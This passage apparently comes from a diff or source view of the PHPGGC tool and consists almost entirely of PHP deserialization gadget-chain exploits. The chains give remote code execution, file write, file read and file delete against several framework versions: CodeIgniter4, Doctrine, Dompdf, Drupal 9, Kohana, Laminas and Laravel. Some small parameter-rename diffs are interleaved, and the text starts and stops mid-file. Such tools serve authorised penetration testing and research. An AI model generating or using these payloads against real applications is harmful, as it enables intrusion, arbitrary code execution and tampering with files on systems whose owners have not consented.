23 public function __construct($generator, $func)
24 {
25 $this->maxRetries = 1; //执行次数
26 $this->validator = $func;
27 $this->generator = $generator;
28 }
29 }
30 }
31
32 namespace CodeIgniter\Session\Handlers
33 {
34 class MemcachedHandler
35 {
36 public $lockKey = "Firebasky";
37 public $memcached;
38
39 public function __construct($memcached)
40 {
41 $this->memcached = $memcached;
42 }
43 }
44 }
45
46 namespace CodeIgniter\Cache\Handlers
47 {
48 class RedisHandler
49 {
50 public $redis;
51
52 public function __construct($func, $param)
53 {
54 $this->redis =
55 new \CodeIgniter\Session\Handlers\MemcachedHandler(
56 new \Faker\ValidGenerator((new \Faker\DefaultGenerator($param)), $func)
57 );
58 }
59 }
60 }
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE4 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '4.0.0-beta.1 <= 4.0.0-rc.4';
7 public static $vector = '__destruct';
8 public static $author = 'eboda';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \CodeIgniter\Cache\Handlers\RedisHandler($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace CodeIgniter\Cache\Handlers
3 {
4 class RedisHandler
5 {
6 protected $redis;
7
8 public function __construct($func, $param)
9 {
10 $this->redis = new \CodeIgniter\Session\Handlers\MemcachedHandler(
11 new \CodeIgniter\Model(
12 new \CodeIgniter\Database\BaseBuilder,
13 new \CodeIgniter\Validation\Validation,
14 $func
15 ),
16 $param
17 );
18 }
19 }
20 }
21
22 namespace CodeIgniter\Session\Handlers
23 {
24 class MemcachedHandler
25 {
26 protected $memcached;
27 protected $lockKey;
28
29 public function __construct($memcached, $param)
30 {
31 $this->lockKey = $param;
32 $this->memcached = $memcached;
33 }
34 }
35 }
36
37 namespace CodeIgniter
38 {
39 class Model
40 {
41 protected $builder;
42 protected $primaryKey;
43 protected $beforeDelete;
44 protected $validationRules;
45 protected $validation;
46
47 public function __construct($builder, $validation, $func)
48 {
49 $this->builder = $builder;
50 $this->primaryKey = null;
51
52 $this->beforeDelete = array();
53 $this->beforeDelete[] = "validate";
54
55 $this->validation = $validation;
56 $this->validationRules = array(
57 "id" => array($func)
58 );
59 }
60 }
61 }
62
63 namespace CodeIgniter\Validation
64 {
65 class Validation
66 {
67 protected $ruleSetFiles;
68
69 public function __construct()
70 {
71 $this->ruleSetFiles = array("finfo");
72 }
73 }
74 }
75
76 namespace CodeIgniter\Database
77 {
78 class BaseBuilder
79 {
80 }
81 }
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE5 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-4.1.3+';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Predis\Connection\StreamConnection($function, $parameter);
16 }
17 }
0 <?php
1
2 namespace Predis\Connection
3 {
4 class StreamConnection
5 {
6 protected $parameters;
7
8 function __construct($function, $paramter)
9 {
10 $this->parameters = new \CodeIgniter\Entity\Entity($function, $paramter);
11 }
12 }
13 }
14
15 namespace CodeIgniter\Entity
16 {
17 class Entity
18 {
19 protected $datamap;
20
21 function __construct($function, $parameter)
22 {
23 $this->datamap = ["persistent" => new \Symfony\Component\HttpFoundation\Request($function, $parameter)];
24 }
25 }
26 }
27
28 namespace Symfony\Component\HttpFoundation
29 {
30 class Request
31 {
32 public $server;
33 public $cookies;
34
35 function __construct($function, $paramter)
36 {
37 $this->cookies = ["key" => "value"];
38 $this->server = new \Symfony\Component\DependencyInjection\Argument\ServiceLocator($function, $paramter);
39 }
40 }
41 }
42
43 namespace Symfony\Component\DependencyInjection\Argument
44 {
45 class ServiceLocator
46 {
47 private $serviceMap;
48 private $factory;
49
50 function __construct($function, $paramter)
51 {
52 $this->factory = "call_user_func";
53 $this->serviceMap = ["REQUEST_METHOD" => [$function, $paramter]];
54 }
55 }
56 }
0 <?php
1
2 namespace GadgetChain\CodeIgniter4;
3
4 class RCE6 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-4.1.3 <= 4.2.10+';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9
10 public function generate(array $parameters)
11 {
12 $function = $parameters['function'];
13 $parameter = $parameters['parameter'];
14
15 return new \Predis\Response\Iterator\MultiBulk($function, $parameter);
16 }
17 }
0 <?php
1 namespace Predis\Response\Iterator{
2 class MultiBulk{
3 protected $position;
4 protected $size;
5 private $connection;
6
7 function __construct($function,$paramter)
8 {
9 $this->connection = new \Faker\ValidGenerator($function,$paramter);
10 $this->position = 0;
11 $this->size = 1;
12 }
13 }
14 }
15
16 namespace Faker{
17 class ValidGenerator{
18 protected $generator;
19 protected $maxRetries;
20 protected $validator;
21
22 function __construct($function,$param)
23 {
24 $this->maxRetries = 1;
25 $this->validator = $function;
26 $this->generator = new \Faker\DefaultGenerator($param);
27 }
28 }
29
30 class DefaultGenerator{
31 protected $default;
32
33 function __construct($param)
34 {
35 $this->default = $param;
36 }
37 }
38 }
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 class FW2 extends \PHPGGC\GadgetChain\FileWrite
5 {
6 public static $version = '2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5';
7 public static $vector = '__destruct';
8 public static $author = 'crlf';
9 public static $information = 'Creates a side directory "8a" in the same directory as your file.';
10
11 public function generate(array $parameters)
12 {
13 $writablePath = dirname($parameters['remote_path']);
14 $fileName = basename($parameters['remote_path']);
15 $phpCode = file_get_contents($parameters['local_path']);
16
17 return [
18 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
19 new \Doctrine\Common\Cache\Psr6\CacheItem(0),
20 new \Doctrine\Common\Cache\FilesystemCache(
21 '/'.str_repeat('x', 300), $writablePath
22 )
23 ),
24 new \Doctrine\Common\Cache\Psr6\CacheAdapter(
25 new \Doctrine\Common\Cache\Psr6\CacheItem($phpCode),
26 new \Doctrine\Common\Cache\FilesystemCache(
27 '/../../' . $fileName, $writablePath
28 )
29 )
30 ];
31 }
32 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4 class CacheAdapter
5 {
6 private $deferredItems = [];
7
8 public function __construct($CacheItem, $FilesystemCache)
9 {
10 $this->deferredItems = ['x' => $CacheItem];
11 $this->cache = $FilesystemCache;
12 }
13 }
14 class CacheItem
15 {
16 private $value;
17
18 public function __construct($phpCode)
19 {
20 $this->value = $phpCode;
21 }
22 }
23 }
24
25 namespace Doctrine\Common\Cache
26 {
27 class FileCache
28 {
29 private $extension;
30 protected $directory;
31 private $umask = 0002;
32
33 public function __construct($extension, $directory)
34 {
35 $this->extension = $extension;
36 $this->directory = $directory;
37 }
38 }
39
40 class FilesystemCache extends FileCache {}
41 }
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 use Doctrine\Common\Cache\Psr6\CacheAdapter;
5 use Doctrine\Common\Cache\Psr6\TypedCacheItem;
6 use Doctrine\Common\Cache\Psr6\CacheItem;
7 use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
8 use Symfony\Component\Cache\Adapter\ProxyAdapter;
9 use Symfony\Component\HttpFoundation\Session\Storage\MockFileSessionStorage;
10 use Symfony\Component\HttpFoundation\Session\Storage\MetadataBag;
11
12
13 class RCE1 extends \PHPGGC\GadgetChain\RCE\PHPCode
14 {
15 public static $version = '1.5.1 <= 2.7.2';
16 public static $vector = '__destruct';
17 public static $author = 'Remsio';
18 public static $information =
19 'Based on package doctrine/doctrine-bundle, the Symfony bundle for doctrine.
20 The chain is based on one chain to write, and on another one to include.
21 Be careful, the POP chain differs depending on the PHP version';
22
23 /**
24 * Fast destruct implementation for both chains, mandatory to make sure the payload triggers correctly
25 */
26 public function process_serialized($serialized)
27 {
28
29 $find_write = (
30 '#i:(' .
31 1001 . '|' .
32 (1001 + 1) .
33 ');#'
34 );
35 $replace_write = 'i:' . 1000 . ';';
36 $serialized2 = preg_replace($find_write, $replace_write, $serialized);
37 $find_include = (
38 '#i:(' .
39 2001 . '|' .
40 (2001 + 1) .
41 ');#'
42 );
43 $replace_include = 'i:' . 2000 . ';';
44 return preg_replace($find_include, $replace_include, $serialized2);
45 }
46
47 public function generate(array $parameters)
48 {
49 $code = $parameters['code'];
50 /* CacheItem is compatible with PHP 7.*, TypedCacheItem is compatible with PHP 8.* */
51 if (preg_match('/^7/', phpversion()))
52 {
53 $firstCacheItem = new CacheItem();
54 $secondCacheItem = new CacheItem();
55 }
56 else
57 {
58 $firstCacheItem = new TypedCacheItem();
59 $secondCacheItem = new TypedCacheItem();
60 }
61 echo phpversion();
62
63 /* File write */
64 $obj_write = new CacheAdapter();
65 $mockFileSessionStorage = new MockFileSessionStorage();
66 $mockFileSessionStorage->data = ['<?php '. $code. ' ?>']; // Content put in the file
67 $mockFileSessionStorage->metadataBag = new MetadataBag();
68 $obj_write->cache = $mockFileSessionStorage;
69 $obj_write->deferredItems = [$firstCacheItem];
70
71 /* File inclusion */
72 $obj_include = new CacheAdapter();
73 $proxyAdapter = new ProxyAdapter();
74 $proxyAdapter->pool = new PhpArrayAdapter();
75 $obj_include->cache = $proxyAdapter;
76 $cacheItem = $secondCacheItem;
77 $cacheItem->expiry = 0; // mandatory to go to another branch from CacheAdapter __destruct
78 $obj_include->deferredItems = [$cacheItem];
79 $obj = [1000 => $obj_write, 1001 => 1, 2000 => $obj_include, 2001 => 1];
80 return $obj;
81 }
82 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4 class CacheAdapter
5 {
6 public $deferredItems = true;
7 public $loader = 1;
8 }
9
10 class TypedCacheItem
11 {
12 public $expiry = 99999999999999999;
13 public $value = "test";
14 }
15
16 class CacheItem
17 {
18 public $expiry = 99999999999999999;
19 public $value = "test";
20 }
21
22 }
23
24 namespace Symfony\Component\Cache\Adapter
25 {
26 class PhpArrayAdapter
27 {
28 public $file = "/tmp/aaa.mocksess"; // fixed at the time
29 }
30
31 class ProxyAdapter
32 {
33 }
34 }
35
36
37 namespace Symfony\Component\HttpFoundation\Session\Storage
38 {
39 class MockFileSessionStorage
40 {
41 public $started = true;
42 public $savePath = "/tmp"; // Produces /tmp/aaa.mocksess
43 public $id = "aaa";
44 }
45
46 class MetadataBag
47 {
48 public $storageKey = "a";
49 }
50 }
0 <?php
1
2 namespace GadgetChain\Doctrine;
3
4 use Doctrine\Common\Cache\Psr6\CacheAdapter;
5 use Symfony\Component\Cache\Traits\RedisProxy;
6 use Doctrine\Bundle\DoctrineBundle\Dbal\SchemaAssetsFilterManager;
7
8 class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall
9 {
10 public static $version = '1.11.0 <= 2.3.2';
11 public static $vector = '__destruct';
12 public static $author = 'Remsio';
13 public static $information =
14 'Based on package doctrine/doctrine-bundle, the Symfony bundle for
15 doctrine. This chain exploits : $schemaAssetFilter($assetName) from
16 SchemaAssetsFilterManager __invoke function.';
17
18 public function generate(array $parameters)
19 {
20 $function = $parameters['function'];
21 $parameter = $parameters['parameter'];
22 $obj = new CacheAdapter();
23 $obj->loader = 1;
24 $redisProxy = new RedisProxy($parameter);
25 $redisProxy->initializer = new SchemaAssetsFilterManager($function);
26 $obj->deferredItems = [$redisProxy];
27 return $obj;
28 }
29 }
0 <?php
1
2 namespace Doctrine\Common\Cache\Psr6
3 {
4
5 class CacheAdapter
6 {
7 public $deferredItems = true;
8 }
9
10 }
11
12 namespace Symfony\Component\Cache\Traits
13 {
14 class RedisProxy
15 {
16 public $redis;
17
18 public function __construct ($parameter)
19 {
20 $this->redis = $parameter;
21 }
22
23 }
24 }
25
26 namespace Doctrine\Bundle\DoctrineBundle\Dbal
27 {
28 class SchemaAssetsFilterManager
29 {
30 public $schemaAssetFilters;
31 public function __construct ($function)
32 {
33 $this->schemaAssetFilters = [$function];
34 }
35 }
36 }
0 <?php
1
2 namespace GadgetChain\Dompdf;
3
4 class FD1 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '1.1.1 <= ?';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions).
11 Target versions: commit a13af8d4bdab280bf8c48dbc23a4d51cac6af202, 1 Dec 2021 (~v1.1.1) <= exploitable
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \Dompdf\CPDF($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace Dompdf;
3
4 class Cpdf
5 {
6 public $imageCache = [];
7
8 public function __construct($remote_path) {
9 array_push($this->imageCache, $remote_path);
10 }
11
12 }
0 <?php
1
2 namespace GadgetChain\Dompdf;
3
4 class FD2 extends \PHPGGC\GadgetChain\FileDelete
5 {
6 public static $version = '? < 1.1.1';
7 public static $vector = '__destruct';
8 public static $author = 'coiffeur';
9 public static $information = '
10 Note that some files may not be removed (depends on permissions)
11 Target versions: exploitable < commit 61c86c04d2a483187ff9f6a73c50d42669be5b4d, 1 Dec 2021 (~v1.1.1)
12 ';
13
14 public function generate(array $parameters)
15 {
16 return new \Dompdf\Adapter\CPDF($parameters['remote_path']);
17 }
18 }
0 <?php
1
2 namespace Dompdf\Adapter {
3 use Dompdf\Dompdf;
4
5 class CPDF
6 {
7 public $_dompdf;
8 public $_image_cache = [];
9
10 public function __construct($remote_path) {
11 $this->_dompdf = new Dompdf();
12 array_push($this->_image_cache, $remote_path);
13 }
14 }
15 }
16
17 namespace Dompdf {
18 class Options {
19 public $debugPng = false;
20 }
21
22 class Dompdf {
23 public $options;
24
25 public function __construct() {
26 $this->options = new Options();
27 }
28 }
29 }
1212
1313 public function generate(array $parameters)
1414 {
15 return new \Archive_Tar($parameters['remote_file']);
15 return new \Archive_Tar($parameters['remote_path']);
1616 }
1717 }
0 <?php
1
2 namespace GadgetChain\Drupal9;
3
4 class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '-8.9.6 <= 9.4.9+';
7 public static $vector = '__destruct';
8 public static $author = 'rioru';
9 public static $information =
10 'Guzzle and Laminas are required for this chain but are bundled by default in Drupal.
11 Uses a __destruct() to call __toString() and finally lands in a call_user_func_array after a few call jumps.
12 Tested on drupal versions from 8.9.6 up to 9.4.9 (latest), might work on slightly older versions.';
13
14 public function generate(array $parameters)
15 {
16 $function = $parameters['function'];
17 $parameter = $parameters['parameter'];
18 return (
19 new \GuzzleHttp\Cookie\FileCookieJar(
20 new \Laminas\Diactoros\RelativeStream(
21 new \GuzzleHttp\Psr7\PumpStream(
22 new \Drupal\Core\Config\CachedStorage(
23 new \Drupal\Core\Config\MemoryStorage(),
24 new \Drupal\Component\DependencyInjection\Container(
25 ["1000000"=>serialize(["factory"=>$function, "arguments"=>[$parameter]])]
26 )
27 )
28 )
29 )
30 )
31 );
32 }
33 }
0 <?php
1
2 namespace GuzzleHttp\Cookie
3 {
4 class FileCookieJar
5 {
6 private $filename;
7 public function __construct($filename)
8 {
9 $this->filename = $filename;
10 }
11 /*
12 public function __destruct()
13 {
14 $this->save($this->filename);
15 }
16
17 public function save($filename)
18 {
19 $json = [];
20 foreach ($this as $cookie) {
21 if (CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
22 $json[] = $cookie->toArray();
23 }
24 }
25
26 $jsonStr = \GuzzleHttp\json_encode($json);
27 if (false === file_put_contents($filename, $jsonStr, LOCK_EX)) {
28 throw new \RuntimeException("Unable to save file {$filename}");
29 }
30 }
31 */
32 }
33 }
34
35 namespace Laminas\Diactoros
36 {
37 class RelativeStream
38 {
39 private $decoratedStream;
40
41 public function __construct($decoratedStream)
42 {
43 $this->decoratedStream = $decoratedStream;
44 }
45
46 /*
47 public function __toString() : string
48 {
49 if ($this->isSeekable()) {
50 $this->seek(0);
51 }
52 return $this->getContents();
53 }
54
55 public function getContents() : string
56 {
57 if ($this->tell() < 0) {
58 throw new Exception\InvalidStreamPointerPositionException();
59 }
60 return $this->decoratedStream->getContents();
61 }
62 */
63 }
64 }
65
66 namespace GuzzleHttp\Psr7
67 {
68 class PumpStream
69 {
70 private $source;
71 private $buffer;
72
73 public function __construct($buffer)
74 {
75 $this->source = "1";
76 $this->buffer = $buffer;
77 }
78 /*
79 public function isSeekable()
80 {
81 return false;
82 }
83
84 public function getContents()
85 {
86 $result = '';
87 while (!$this->eof()) {
88 $result .= $this->read(1000000);
89 }
90
91 return $result;
92 }
93
94 public function eof()
95 {
96 return !$this->source;
97 }
98
99 public function read($length)
100 {
101 $data = $this->buffer->read($length);
102 $readLen = strlen($data);
103 $this->tellPos += $readLen;
104 $remaining = $length - $readLen;
105
106 if ($remaining) {
107 $this->pump($remaining);
108 $data .= $this->buffer->read($remaining);
109 $this->tellPos += strlen($data) - $readLen;
110 }
111
112 return $data;
113 }
114 */
115 }
116 }
117
118 namespace Drupal\Core\Config
119 {
120 class CachedStorage
121 {
122 protected $storage;
123 protected $cache;
124
125 public function __construct($storage, $cache) {
126 $this->storage = $storage;
127 $this->cache = $cache;
128 }
129 /*
130 public function read($name) {
131 $cache_key = $this->getCacheKey($name);
132 if ($cache = $this->cache->get($cache_key)) {
133 // The cache contains either the cached configuration data or FALSE
134 // if the configuration file does not exist.
135 return $cache->data;
136 }
137 // Read from the storage on a cache miss and cache the data. Also cache
138 // information about missing configuration objects.
139 $data = $this->storage->read($name);
140 $this->cache->set($cache_key, $data);
141 return $data;
142 }
143
144 protected function getCacheKey($name) {
145 return $this->getCollectionPrefix() . $name;
146 }
147
148 protected function getCollectionPrefix() {
149 $collection = $this->storage->getCollectionName();
150 if ($collection == StorageInterface::DEFAULT_COLLECTION) {
151 return '';
152 }
153 return $collection . ':';
154 }
155 */
156 }
157
158 class MemoryStorage
159 {
160 protected $collection;
161
162 public function __construct()
163 {
164 $this->collection = "";
165 }
166 /*
167 public function getCollectionName() {
168 return $this->collection;
169 }
170 */
171 }
172 }
173
174 namespace Drupal\Component\DependencyInjection
175 {
176 class Container
177 {
178 protected $serviceDefinitions;
179
180 public function __construct($serviceDefinitions) {
181 $this->serviceDefinitions = $serviceDefinitions;
182 }
183
184 /*
185 public function get($id, $invalid_behavior = ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) {
186 if ($this->hasParameter('_deprecated_service_list')) {
187 if ($deprecation = $this->getParameter('_deprecated_service_list')[$id] ?? '') {
188 @trigger_error($deprecation, E_USER_DEPRECATED);
189 }
190 }
191 if (isset($this->aliases[$id])) {
192 $id = $this->aliases[$id];
193 }
194
195 // Re-use shared service instance if it exists.
196 if (isset($this->services[$id]) || ($invalid_behavior === ContainerInterface::NULL_ON_INVALID_REFERENCE && array_key_exists($id, $this->services))) {
197 return $this->services[$id];
198 }
199
200 if (isset($this->loading[$id])) {
201 throw new ServiceCircularReferenceException($id, array_keys($this->loading));
202 }
203
204 $definition = $this->serviceDefinitions[$id] ?? NULL;
205
206 if (!$definition && $invalid_behavior === ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE) {
207 if (!$id) {
208 throw new ServiceNotFoundException('');
209 }
210
211 throw new ServiceNotFoundException($id, NULL, NULL, $this->getServiceAlternatives($id));
212 }
213
214 // In case something else than ContainerInterface::NULL_ON_INVALID_REFERENCE
215 // is used, the actual wanted behavior is to re-try getting the service at a
216 // later point.
217 if (!$definition) {
218 return;
219 }
220
221 // Definition is a keyed array, so [0] is only defined when it is a
222 // serialized string.
223 if (isset($definition[0])) {
224 $definition = unserialize($definition);
225 }
226
227 // Now create the service.
228 $this->loading[$id] = TRUE;
229
230 try {
231 $service = $this->createService($definition, $id);
232 }
233 catch (\Exception $e) {
234 unset($this->loading[$id]);
235 unset($this->services[$id]);
236
237 if (ContainerInterface::EXCEPTION_ON_INVALID_REFERENCE !== $invalid_behavior) {
238 return;
239 }
240
241 throw $e;
242 }
243
244 unset($this->loading[$id]);
245
246 return $service;
247 }
248
249 public function hasParameter($name) {
250 return isset($this->parameters[$name]) || array_key_exists($name, $this->parameters);
251 }
252
253 protected function createService(array $definition, $id) {
254 if (isset($definition['synthetic']) && $definition['synthetic'] === TRUE) {
255 throw new RuntimeException(sprintf('You have requested a synthetic service ("%s"). The service container does not know how to construct this service. The service will need to be set before it is first used.', $id));
256 }
257
258 $arguments = [];
259 if (isset($definition['arguments'])) {
260 $arguments = $definition['arguments'];
261
262 if ($arguments instanceof \stdClass) {
263 $arguments = $this->resolveServicesAndParameters($arguments);
264 }
265 }
266
267 if (isset($definition['file'])) {
268 $file = $this->frozen ? $definition['file'] : current($this->resolveServicesAndParameters([$definition['file']]));
269 require_once $file;
270 }
271
272 if (isset($definition['factory'])) {
273 $factory = $definition['factory'];
274 if (is_array($factory)) {
275 $factory = $this->resolveServicesAndParameters([$factory[0], $factory[1]]);
276 }
277 elseif (!is_string($factory)) {
278 throw new RuntimeException(sprintf('Cannot create service "%s" because of invalid factory', $id));
279 }
280
281 $service = call_user_func_array($factory, $arguments);
282 }
283 else {
284 $class = $this->frozen ? $definition['class'] : current($this->resolveServicesAndParameters([$definition['class']]));
285 $service = new $class(...$arguments);
286 }
287
288 if (!isset($definition['shared']) || $definition['shared'] !== FALSE) {
289 $this->services[$id] = $service;
290 }
291
292 if (isset($definition['calls'])) {
293 foreach ($definition['calls'] as $call) {
294 $method = $call[0];
295 $arguments = [];
296 if (!empty($call[1])) {
297 $arguments = $call[1];
298 if ($arguments instanceof \stdClass) {
299 $arguments = $this->resolveServicesAndParameters($arguments);
300 }
301 }
302 call_user_func_array([$service, $method], $arguments);
303 }
304 }
305
306 if (isset($definition['properties'])) {
307 if ($definition['properties'] instanceof \stdClass) {
308 $definition['properties'] = $this->resolveServicesAndParameters($definition['properties']);
309 }
310 foreach ($definition['properties'] as $key => $value) {
311 $service->{$key} = $value;
312 }
313 }
314
315 if (isset($definition['configurator'])) {
316 $callable = $definition['configurator'];
317 if (is_array($callable)) {
318 $callable = $this->resolveServicesAndParameters($callable);
319 }
320
321 if (!is_callable($callable)) {
322 throw new InvalidArgumentException(sprintf('The configurator for class "%s" is not a callable.', get_class($service)));
323 }
324
325 call_user_func($callable, $service);
326 }
327
328 return $service;
329 }
330 */
331 }
332 }
0 <?php
1
2 namespace GadgetChain\Kohana;
3
4 class FR1 extends \PHPGGC\GadgetChain\FileRead
5 {
6 public static $version = '3.*';
7 public static $vector = '__toString';
8 public static $author = 'byq';
9 public static $information = 'include()';
10
11 public function generate(array $parameters)
12 {
13 return new \View($parameters['remote_path']);
14 }
15 }
0 <?php
1
2 class View
3 {
4 protected $_file;
5
6 public function __construct($_file) {
7 $this->_file = $_file;
8 }
9 }
99
1010 public function generate(array $parameters)
1111 {
12 $remote_file = $parameters["remote_file"];
12 $remote_path = $parameters["remote_path"];
1313
14 return new \Laminas\Http\Response\Stream($remote_file);
14 return new \Laminas\Http\Response\Stream($remote_path);
1515 }
1616 }
00 <?php
1 namespace Laminas\Http\Response {
2 class Stream {
3 function __construct($remote_file) {
1
2 namespace Laminas\Http\Response
3 {
4 class Stream
5 {
6 function __construct($remote_path)
7 {
48 $this->cleanup = '1';
5 $this->streamName = $remote_file;
9 $this->streamName = $remote_path;
610 }
711 }
812 }
0 <?php
1
2 namespace GadgetChain\Laminas;
3
4 use Laminas\Cache\Psr\CacheItemPool\CacheItem;
5 use Laminas\Cache\Psr\CacheItemPool\CacheItemPoolDecorator;
6 use Laminas\Cache\Storage\Adapter\Filesystem;
7 use Laminas\Cache\Storage\Adapter\FilesystemOptions;
8
9
10 class FW1 extends \PHPGGC\GadgetChain\FileWrite
11 {
12 public static $version = '2.8.0 <= 3.0.x-dev';
13 public static $vector = '__destruct';
14 public static $author = 'swapgs';
15 public static $information = '
16 This chain requires both laminas/laminas-cache (tested up to 3.0.x-dev) and
17 laminas/laminas-cache-storage-adapter-filesystem (a default dependency) to work.
18 Asking for a remote filename without extension will create a file with a trailing dot
19 (e.g. asking for `foo` will create `foo.`)
20 ';
21
22 public function process_parameters($parameters)
23 {
24 $parameters = parent::process_parameters($parameters);
25 $infos = pathinfo($parameters['remote_path']);
26 $parameters['extension'] = isset($infos['extension']) ? $infos['extension'] : '';
27 $parameters['filename'] = isset($infos['filename']) ? $infos['filename'] : '';
28 $parameters['dirname'] = dirname($parameters['remote_path']);
29
30 return $parameters;
31 }
32
33 public function generate(array $parameters)
34 {
35 return new CacheItemPoolDecorator(
36 new Filesystem(
37 new FilesystemOptions($parameters['dirname'], $parameters['extension'])
38 ),
39 [new CacheItem($parameters['filename'], $parameters['data'])]
40 );
41 }
42 }
0 <?php
1
2 namespace Laminas\Cache\Storage\Adapter
3 {
4 class AdapterOptions
5 {
6 protected $namespace;
7 protected $keyPattern;
8
9 function __construct()
10 {
11 $this->namespace = '';
12 $this->keyPattern = '/.*/';
13 }
14 }
15
16 class FilesystemOptions extends AdapterOptions
17 {
18 protected $cacheDir;
19 protected $dirLevel;
20 protected $suffix;
21
22 function __construct($cacheDir, $extension)
23 {
24 parent::__construct();
25 $this->cacheDir = $cacheDir;
26 $this->suffix = $extension;
27 $this->dirLevel = 0;
28 }
29 }
30
31 class Filesystem
32 {
33 protected $options;
34
35 function __construct($options)
36 {
37
38 $this->options = $options;
39 }
40 }
41 }
42
43 namespace Laminas\Cache\Psr\CacheItemPool
44 {
45 class CacheItemPoolDecorator
46 {
47 protected $storage;
48 protected $deferred;
49
50 function __construct($storage, $deferred)
51 {
52 $this->storage = $storage;
53 $this->deferred = $deferred;
54 }
55 }
56
57 class CacheItem
58 {
59 protected $key;
60 protected $value;
61
62 function __construct($key, $value)
63 {
64 $this->key = $key;
65 $this->value = $value;
66 }
67 }
68 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE10 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.6.0 <= 9.1.8+';
7 public static $vector = '__toString';
8 public static $author = 'Arjun Shibu (twitter.com/0xsegf), 0xcrypto';
9
10 public function generate(array $parameters)
11 {
12 $func = $parameters['function'];
13 $arg = $parameters['parameter'];
14
15 $guard = new \Illuminate\Auth\RequestGuard("call_user_func", $func, $arg);
16 $userfn = [$guard, 'user'];
17 $requiredif = new \Illuminate\Validation\Rules\RequiredIf($userfn);
18
19 return $requiredif;
20 }
21 }
0 <?php
1
2 namespace Illuminate\Validation\Rules
3 {
4 class RequiredIf
5 {
6 public function __construct($condition)
7 {
8 $this->condition = $condition;
9 }
10 }
11 }
12
13 namespace Illuminate\Auth
14 {
15 class RequestGuard
16 {
17 public function __construct($callback, $request, $provider)
18 {
19 $this->callback = $callback;
20 $this->request = $request;
21 $this->provider = $provider;
22 }
23 }
24 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE11 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.4.0 <= 9.1.8+';
7 public static $vector = '__destruct';
8 public static $author = '1nhann';
9
10
11 public function generate(array $parameters)
12 {
13 $function = $parameters['function'];
14 $param = $parameters['parameter'];
15
16 $a = new \Symfony\Component\Mime\Part\SMimePart($function, $param);
17
18 return $a;
19 }
20 }
0 <?php
1
2 namespace Faker
3 {
4 class Generator
5 {
6 protected $formatters = [];
7
8 function __construct(&$formatters)
9 {
10 $this->formatters = &$formatters;
11 }
12 }
13 }
14
15 namespace Illuminate\Broadcasting
16 {
17 class PendingBroadcast
18 {
19 public function __construct(&$formatters, $parameter)
20 {
21 $this->event = $parameter;
22 $this->events = new \Faker\Generator($formatters);
23 }
24 }
25 }
26
27 namespace Symfony\Component\Mime\Part
28 {
29 class AbstractPart
30 {
31 private $headers = null;
32
33 public function __construct($parameter)
34 {
35 return new \Illuminate\Broadcasting\PendingBroadcast($this->headers, $parameter);
36 }
37 }
38
39 class SMimePart extends AbstractPart
40 {
41 protected $_headers;
42 public $inhann;
43
44 function __construct($function, $parameter)
45 {
46 $this->_headers = ["dispatch" => $function];
47 $this->inhann = parent::__construct($parameter);
48 }
49 }
50 }
0 <?php
1
2 namespace GadgetChain\Laravel;
3
4 class RCE12 extends \PHPGGC\GadgetChain\RCE\FunctionCall
5 {
6 public static $version = '5.8.35, 7.0.0, 9.3.10';
7 public static $vector = '__destruct';
8 public static $author = 'CyanM0un';
9 public static $information = 'According to different version you may need to modify the "gadgets.php". For Laravel5, use the field $rollbarNotifier. For laravel7 and later, use the filed $rollbarLogger';
10
11
12 public function generate(array $parameters)
13 {
14 $function = $parameters['function'];
15 $param = $parameters['parameter'];
16
17 $a = new \Monolog\Handler\RollbarHandler($function, $param);
18
19 return $a;
20 }
21 }
0 <?php
1
2 namespace Monolog\Handler{
3 class RollbarHandler{
4 private $hasRecords;
5 //protected $rollbarNotifier;
6 protected $rollbarLogger;
7
8 function __construct($function,$paramter)
9 {
10 $this->hasRecords = true;
11 //$this->rollbarNotifier = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel5.8.35
12 $this->rollbarLogger = new \Illuminate\Foundation\Support\Providers\RouteServiceProvider($function,$paramter);//laravel7.0.0
13 }
14 }
15 }
16
17 namespace Illuminate\Foundation\Support\Providers{
18 class RouteServiceProvider{
19 protected $app;
20
21 function __construct($function,$paramter)
22 {
23 $this->app = new \Illuminate\View\Factory($function,$paramter);
24 }
25 }
26 }
27
28 namespace Illuminate\View{
29 class Factory{
30 protected $finder;
31
32 function __construct($function,$paramter)
33 {
34 $this->finder = new \Symfony\Component\Console\Application($function,$paramter);
35 }
36
37 }
38 }
39
40 namespace Symfony\Component\Console{
41 class Application{
42 private $initialized;
43 private $commands;
44 private $commandLoader;
45
46 function __construct($function,$paramter)
47 {
48 $this->initialized = true;
49 $this->commandLoader = new \Illuminate\Cache\Repository($function,$paramter);
